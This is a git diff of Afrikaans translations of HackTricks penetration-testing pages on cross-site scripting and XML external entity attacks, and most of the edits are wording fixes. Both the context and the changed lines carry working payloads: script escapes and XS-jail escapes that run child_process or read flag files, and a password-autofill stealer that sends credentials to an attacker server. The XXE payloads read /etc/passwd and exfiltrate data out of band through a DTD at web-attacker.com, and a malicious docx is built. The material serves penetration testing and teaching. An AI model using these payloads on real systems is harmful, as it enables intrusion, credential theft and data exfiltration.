Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gecodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gecodeer word**, onthou dat **dit nie saak maak nie,** dit sal **geïntpreteer** word as 'n **enkele aanhaling** tydens die **uitvoering** tyd.
|
||||
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal **geïntpreteer** word as 'n **enkele aanhaling** tydens die **uitvoering** tyd.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -444,7 +444,7 @@ Lees die [Swartlys Omseilings van die vorige afdeling](./#blacklist-bypasses).
|
||||
|
||||
**Omseilings vir JavaScript kode**
|
||||
|
||||
Lees die J[avaScript omseiling swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
|
||||
Lees die [JavaScript omseiling swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -472,7 +472,7 @@ In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of
|
||||
|
||||
### Ontsnapping \<script> merk
|
||||
|
||||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **merk sluit ontsnap:**
|
||||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **merk sluit** ontsnap:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
@ -488,10 +488,10 @@ As `<>` gesanitiseer word, kan jy steeds die **string ontsnap** waar jou invoer
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Om **strings** te konstrueer, behalwe enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit **ingebedde JS-uitdrukkings** toelaat met die `${ ... }` sintaksis.\
|
||||
As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
|
||||
Om **strings** te konstrueer behalwe enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit **ingebedde JS-uitdrukkings** toelaat met die `${ ... }` sintaksis.\
|
||||
As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitraire JS-kode** uit te voer:
|
||||
|
||||
Dit kan **abused** word met:
|
||||
Dit kan **misbruik** word met:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript kommentaaren (van** [**JavaScript Kommentaaren**](./#javascript-comments) **trik)**
|
||||
**JavaScript kommentaar (van** [**JavaScript Kommentaar**](./#javascript-comments) **trik)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -745,14 +745,14 @@ Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soo
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle veroorsaak word, en hoe om dit te benut**.\
|
||||
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut**.\
|
||||
Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Opgradering van Self-XSS
|
||||
|
||||
### Koekie XSS
|
||||
|
||||
As jy 'n XSS kan aktiveer deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te aktiveer. Hiervoor kan jy die koekie tossing aanval gebruik:
|
||||
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -762,13 +762,13 @@ Jy kan 'n groot misbruik van hierdie tegniek vind in [**hierdie blogpos**](https
|
||||
|
||||
### Stuur jou sessie na die admin
|
||||
|
||||
Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid aktiveer.
|
||||
Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid ontketen.
|
||||
|
||||
### Sessiemirrow
|
||||
|
||||
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
|
||||
|
||||
Jy kan die **administrateur jou self XSS laat aktiveer** en sy koekies/sessie steel.
|
||||
Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.
|
||||
|
||||
## Ander Bypasses
|
||||
|
||||
@ -825,7 +825,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS met header-inspuiting in 'n 302 antwoord
|
||||
|
||||
As jy vind dat jy **headers in 'n 302 Redirect antwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
||||
As jy vind dat jy **headers in 'n 302 Redirect antwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers die HTTP-antwoordliggaam nie interpreteer as die HTTP-antwoordstatuskode 'n 302 is, so net 'n cross-site scripting payload is nutteloos.
|
||||
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
|
||||
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
|
||||
@ -836,7 +836,7 @@ As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer**
|
||||
|
||||
### Geldige `<script>` Inhoud-Tipes vir XSS
|
||||
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip te laai met 'n **inhoud-tipe** soos `application/octet-stream`, sal Chrome die volgende fout gooi:
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip met 'n **inhoud-tipe** soos `application/octet-stream` te laai, sal Chrome die volgende fout gooi:
|
||||
|
||||
> Weier om skrip van ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') uit te voer omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.
|
||||
|
||||
@ -898,7 +898,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
|
||||
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
|
||||
```html
|
||||
@ -955,7 +955,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Ontsnapping
|
||||
|
||||
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
|
||||
As jy net 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1001,7 +1001,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
|
||||
Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te verkry:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1048,7 +1048,7 @@ console.log(req("child_process").execSync("id").toString())
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuskering & Gevorderde Omseil
|
||||
### Obfuskering & Gevorderde Omseiling
|
||||
|
||||
- **Verskillende obfuskerings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
@ -1240,7 +1240,7 @@ steal-info-js.md
|
||||
|
||||
### Iframe Val
|
||||
|
||||
Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
|
||||
Laat die gebruiker in die bladsy navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
@ -1379,7 +1379,7 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvallers se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgevang word.
|
||||
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvallers se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe ge-exfiltreer word.
|
||||
|
||||
### Keylogger
|
||||
|
||||
@ -1427,9 +1427,11 @@ shadow-dom.md
|
||||
|
||||
### Polyglotte
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Blinde XSS payloads
|
||||
### Blinde XSS lasladinge
|
||||
|
||||
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
@ -1492,13 +1494,15 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
```
|
||||
### Brute-Force Lys
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Misbruik van ander kwesbaarhede
|
||||
|
||||
### XSS in Markdown
|
||||
|
||||
Kan Markdown kode ingesluit word wat gerender sal word? Miskien kan jy XSS kry! Kontroleer:
|
||||
Kan Markdown kode inspuit wat gerender sal word? Miskien kan jy XSS kry! Kyk:
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
|
@ -2,15 +2,14 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## XML Basiese Beginsels
|
||||
|
||||
XML is 'n opmaaktaal wat ontwerp is vir datastoor en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing van etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
|
||||
XML is 'n opmaaktaal wat ontwerp is vir datastoor en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing vir etikette toelaat. Dit verskil van HTML deurdat dit nie beperk is tot 'n stel vooraf gedefinieerde etikette nie. XML se belangrikheid het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
|
||||
|
||||
- **Data voorstelling deur Entiteite**: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos `<` en `>`, wat ooreenstem met `<` en `>` om konflik met XML se etikette stelsel te vermy.
|
||||
- **Definiëring van XML Elemente**: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
|
||||
- **Definiëring van XML Elemente**: XML stel die definisie van elementtipes in staat, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
|
||||
- **Dokumenttipe Definisie (DTD)**: DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
|
||||
- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, bring sekuriteitskwessies na vore, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, verhoog sekuriteitskwessies, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **XXE Opsporing met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk as gevolg van parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
@ -84,7 +83,7 @@ In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML-entiteite nie toegelaat word** nie; in daardie geval kan jy probeer om **XML-parameterentiteite** te gebruik:
|
||||
Met die **voorheen kommentaar gelede tegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML-entiteite nie toegelaat word**; in daardie geval kan jy probeer om **XML-parameterentiteite** te gebruik:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -92,9 +91,9 @@ Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry t
|
||||
```
|
||||
### "Blind" SSRF - Exfiltreer data uit-band
|
||||
|
||||
**In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit uit te haal via \_ftp://**\_ met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via \_ftp://**\_ uit te haal met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
In die gegewe kwaadwillige DTD, word 'n reeks stappe uitgevoer om data uit te haal:
|
||||
In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data uit te haal:
|
||||
|
||||
### Kwaadwillige DTD Voorbeeld:
|
||||
|
||||
@ -122,18 +121,18 @@ Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer,
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parsser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die `/etc/hostname`-lêer na die aanvaller se bediener.
|
||||
Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe uit wat in die kwaadwillige DTD uiteengesit is en lei tot die ekfiltrasie van die `/etc/hostname` lêer na die aanvaller se bediener.
|
||||
|
||||
### Foutgebaseerd (Eksterne DTD)
|
||||
|
||||
**In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lêer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien).** [**Voorbeeld hier.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lêer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien).** [**Voorbeeld van hier.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
'n XML-parsingsfoutboodskap, wat die inhoud van die `/etc/passwd`-lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Dokumenttipe-definisie (DTD). Dit word bereik deur die volgende stappe:
|
||||
'n XML-parsing foutboodskap, wat die inhoud van die `/etc/passwd` lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
|
||||
|
||||
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd`-lêer bevat.
|
||||
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd` lêer bevat.
|
||||
2. 'n XML parameterentiteit genaamd `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd `error` inkorporeer. Hierdie `error` entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van die `file` entiteit as sy naam inkorporeer.
|
||||
3. Die `eval` entiteit word aangeroep, wat lei tot die dinamiese verklaring van die `error` entiteit.
|
||||
4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap genereer wat die inhoud van die `/etc/passwd`-lêer as deel van die lêernaam insluit.
|
||||
4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap genereer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
|
||||
|
||||
Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
|
||||
```xml
|
||||
@ -141,19 +140,19 @@ Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Upon execution, die webbediener se antwoord moet 'n foutboodskap insluit wat die inhoud van die `/etc/passwd` lêer vertoon.
|
||||
Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file.
|
||||
|
||||
.png>)
|
||||
|
||||
_**Let asseblief daarop dat eksterne DTD ons toelaat om een entiteit binne die tweede (\*\***`eval`\***\*), maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).**_
|
||||
_**Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede (\*\***`eval`\***\*), maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).**_
|
||||
|
||||
### **Foutgebaseerd (stelsel DTD)**
|
||||
### **Foutgebaseerd (sisteem DTD)**
|
||||
|
||||
So wat van blinde XXE kwesbaarhede wanneer **uit-baan interaksies geblokkeer is** (eksterne verbindings is nie beskikbaar nie)?
|
||||
|
||||
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem laat die interne herdefinisie van entiteite wat eksterne verklaar is toe, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle benut die herdefinisie van 'n XML parameter entiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
|
||||
|
||||
Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
|
||||
Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by `/usr/local/app/schema.dtd`, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -166,11 +165,11 @@ Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer by `/usr/loc
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Die uiteengesette stappe word uitgevoer deur hierdie DTD:
|
||||
Die uiteengesette stappe word deur hierdie DTD uitgevoer:
|
||||
|
||||
- Die definisie van 'n XML parameterentiteit genaamd `local_dtd` sluit die eksterne DTD-lêer in wat op die bediener se lêerstelsel geleë is.
|
||||
- 'n Herdefinisie vind plaas vir die `custom_entity` XML parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om 'n [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) te omhul. Hierdie herdefinisie is ontwerp om 'n ontledingsfout uit te lok, wat die inhoud van die `/etc/passwd` lêer blootstel.
|
||||
- Deur die `local_dtd` entiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerde `custom_entity` insluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die exploit beoog word.
|
||||
- Deur die `local_dtd` entiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerde `custom_entity` insluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die exploit gemik is.
|
||||
|
||||
**Werklike wêreld voorbeeld:** Stelsels wat die GNOME-bureaubladomgewing gebruik, het dikwels 'n DTD by `/usr/share/yelp/dtd/docbookx.dtd` wat 'n entiteit genaamd `ISOamso` bevat.
|
||||
```xml
|
||||
@ -202,7 +201,9 @@ Vir meer inligting, kyk na [https://portswigger.net/web-security/xxe/blind](http
|
||||
|
||||
In die volgende wonderlike github repo kan jy **paaie van DTDs wat in die stelsel teenwoordig kan wees** vind:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Boonop, as jy die **Docker beeld van die slagoffer stelsel** het, kan jy die hulpmiddel van dieselfde repo gebruik om die **beeld** te **skandeer** en die pad van **DTDs** wat binne die stelsel teenwoordig is, te **vind**. Lees die [Readme van die github](https://github.com/GoSecure/dtd-finder) om te leer hoe.
|
||||
```bash
|
||||
@ -226,7 +227,7 @@ Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêe
|
||||
|
||||
Sodra die dokument ontpak is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die gewenste XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
|
||||
|
||||
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.
|
||||
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL te vervang met 'n monitorbare URL vir versoeke.
|
||||
|
||||
Laastens kan die lêer gezip word om die kwaadwillige poc.docx-lêer te skep. Vanuit die voorheen geskepte "unzipped" gids, moet die volgende opdrag uitgevoer word:
|
||||
|
||||
@ -256,7 +257,7 @@ Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-prot
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Om lêers in 'n tydelike gids te skryf kan help om 'n **ander kwesbaarheid wat 'n pad traversering behels** (soos plaaslike lêer insluiting, sjabloon inspuiting, XSLT RCE, deserialisering, ens.) te verhoog.
|
||||
> Om lêers in 'n tydelike gids te skryf kan help om 'n **ander kwesbaarheid wat 'n pad traversering behels te verhoog** (soos plaaslike lêer insluiting, sjabloon inspuiting, XSLT RCE, deserialisering, ens).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -305,23 +306,23 @@ en deur die volgende versoek te stuur
|
||||
```
|
||||
Dan kan jy probeer om die hash te kraak met hashcat
|
||||
|
||||
## Verborgen XXE Oppervlakke
|
||||
## Verborge XXE Oppervlakke
|
||||
|
||||
### XInclude
|
||||
|
||||
Wanneer kliëntdata in bediener-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die aanpassing van die `DOCTYPE` element. 'n `XInclude` aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n bediener-gegeneerde XML-dokument beheer kan word.
|
||||
Wanneer kliëntdata in bediener-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude` aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n bediener-gegeneerde XML-dokument beheer kan word.
|
||||
|
||||
